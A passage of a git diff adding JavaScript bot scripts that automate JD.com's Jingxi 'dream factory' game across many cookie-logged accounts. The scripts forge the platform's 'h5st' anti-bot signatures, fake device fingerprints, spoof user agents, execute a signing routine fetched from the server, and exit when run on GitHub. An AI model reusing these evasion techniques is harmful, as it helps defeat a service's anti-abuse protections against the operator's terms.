} + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function updateTuanIdsCDN(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + $.tuanConfigs = data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(20000) + resolve(); + }) +} + +//商品可兑换时的通知 +async function exchangeProNotify() { + await GetShelvesList(); + let exchangeEndTime, exchangeEndHours, nowHours; + //脚本运行的UTC+8时区的时间戳 + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + if ($.shelvesList && $.shelvesList.length > 0) console.log(`\n 商品名 兑换状态`) + for (let shel of $.shelvesList) { + console.log(`${shel['name']} ${shel['exchangeStatus'] === 1 ? '未兑换' : shel['exchangeStatus'] === 2 ? '已兑换' : '兑换超时'}`) + if (shel['exchangeStatus'] === 1) { + exchangeEndTime = shel['exchangeEndTime'] * 1000; + $.picture = shel['picture']; + // 兑换截止时间点 + exchangeEndHours = new Date(exchangeEndTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).getHours(); + //兑换截止时间(年月日 时分秒) + $.exchangeEndTime = new Date(exchangeEndTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false}); + //脚本运行此时的时间点 + nowHours = nowTimes.getHours(); + } else if (shel['exchangeStatus'] === 3) { + //兑换超时 + } + } + if (exchangeEndTime) { + //比如兑换(超时)截止时间是2020/12/8 09:20:04,现在时间是2020/12/6 + if (nowTimes < exchangeEndTime) { + // 一:在兑换超时这一天(2020/12/8 09:20:04)的前4小时内通知(每次运行都通知) + let flag = true; + if ((exchangeEndTime - nowTimes.getTime()) <= 3600000 * 4) { + let expiredTime = parseFloat(((exchangeEndTime - nowTimes.getTime()) / (60*60*1000)).toFixed(1)) + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${expiredTime}小时后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, {'open-url': jxOpenUrl, 'media-url': $.picture}) + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${(exchangeEndTime - nowTimes) / 60*60*1000}分钟后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, { url: jxOpenUrl }) + if ($.isNode() && (`${notifyLevel}` === '1' || `${notifyLevel}` === '2' || `${notifyLevel}` === '3')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${expiredTime}小时后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + flag = false; + } + //二:在可兑换的时候,0,2,4等每2个小时通知一次 + if (nowHours % 2 === 0 && flag) { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, {'open-url': jxOpenUrl, 'media-url': $.picture}) + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, { url: jxOpenUrl }) + if ($.isNode() && (`${notifyLevel}` === '1' || `${notifyLevel}` === '2' || `${notifyLevel}` === '3')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } +} +async function showMsg() { + return new Promise(async resolve => { + message += `【收取自己零件】${$.pickUpMyselfComponent ? `获得${$.pickEle}电力` : `今日已达上限`}\n`; + message += `【收取好友零件】${$.pickUpMyselfComponent ? `获得${$.pickFriendEle}电力` : `今日已达上限`}\n`; + if (new Date().getHours() === 22) { + $.msg($.name, '', `${message}`) + $.log(`\n${message}`); + } else { + $.log(`\n${message}`); + } + resolve() + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: ``, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(async resolve => { + // tuanActiveId = $.isNode() ? (process.env.TUAN_ACTIVEID || tuanActiveId) : ($.getdata('tuanActiveId') || tuanActiveId); + // if (!tuanActiveId) { + // await updateTuanIdsCDN('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_updateFactoryTuanId.json'); + // if ($.tuanConfigs && $.tuanConfigs['tuanActiveId']) { + // tuanActiveId = $.tuanConfigs['tuanActiveId']; + // console.log(`拼团活动ID: 获取成功 ${tuanActiveId}\n`) + // } else { + // if (!$.tuanConfigs) { + // $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateFactoryTuanId.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + // await $.wait(1000) + // await updateTuanIdsCDN('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateFactoryTuanId.json'); + // if ($.tuanConfigs && $.tuanConfigs['tuanActiveId']) { + // tuanActiveId = $.tuanConfigs['tuanActiveId']; + // console.log(`拼团活动ID: 获取成功 ${tuanActiveId}\n`) + // } else { + // console.log(`拼团活动ID:获取失败,将采取脚本内置活动ID\n`) + // } + // } + // } + // } else { + // console.log(`自定义拼团活动ID: 获取成功 ${tuanActiveId}`) + // } + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = $.isNode() ? require('./jdDreamFactoryShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_jxFactory')) $.shareCodesArr = $.getdata('jd_jxFactory').split('\n').filter(item => item !== "" && item !== null && item !== undefined); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_jxFactory')}\n`); + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskTuanUrl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/tuan/${functionId}?${body}&_time=${Date.now()}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "m.jingxi.com", + "Referer": "https://st.jingxi.com/pingou/dream_factory/divide.html", + "User-Agent": "jdpingou" + } + } +} + +function taskurl(functionId, body = '', stk) { + let url = `${JD_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function newtasksysUrl(functionId, taskId, stk) { + let url = `${JD_API_HOST}/newtasksys/newtasksys_front/${functionId}?source=dreamfactory&bizCode=dream_factory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1`; + if (taskId) { + url += `&taskId=${taskId}`; + } + if (stk) { + url += `&_stk=${stk}`; + } + //传入url进行签名 + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + return { + url, + "headers": { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': "jdpingou;iPhone;3.15.2;13.5.1;90bab9217f465a83a99c0b554a946b0b0d5c2f7a;network/wifi;model/iPhone12,1;appBuild/100365;ADID/696F8BD2-0820-405C-AFC0-3C6D028040E5;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/14;pap/JA2015_311210;brand/apple;supportJDSHWK/1;", + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_dreamFactory_help.js b/jd_dreamFactory_help.js new file mode 100644 index 0000000..1eeb33b --- /dev/null +++ b/jd_dreamFactory_help.js @@ -0,0 +1,644 @@ +/* +京喜工厂招工互助 +更新时间:2021-8-20 +修复做任务、收集电力出现火爆,不能完成任务,重新计算h5st验证 +参考自 :https://www.orzlee.com/web-development/2021/03/03/lxk0301-jingdong-signin-scriptjingxi-factory-solves-the-problem-of-unable-to-signin.html +活动入口:京东APP-游戏与互动-查看更多-京喜工厂 +或者: 京东APP首页搜索 "玩一玩" ,造物工厂即可 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜工厂招工互助 +5 6,18 * * * jd_dreamFactory_help.js, tag=京喜工厂招工互助, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "5 6,18 * * *" script-path=jd_dreamFactory_help.js,tag=京喜工厂招工互助 + +===============Surge================= +京喜工厂招工互助 = type=cron,cronexp="5 6,18 * * *",wake-system=1,timeout=3600,script-path=jd_dreamFactory_help.js + +============小火箭========= +京喜工厂招工互助 = type=cron,script-path=jd_dreamFactory_help.js, cronexpr="5 6,18 * * *", timeout=3600, enable=true + + */ +// prettier-ignore +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= 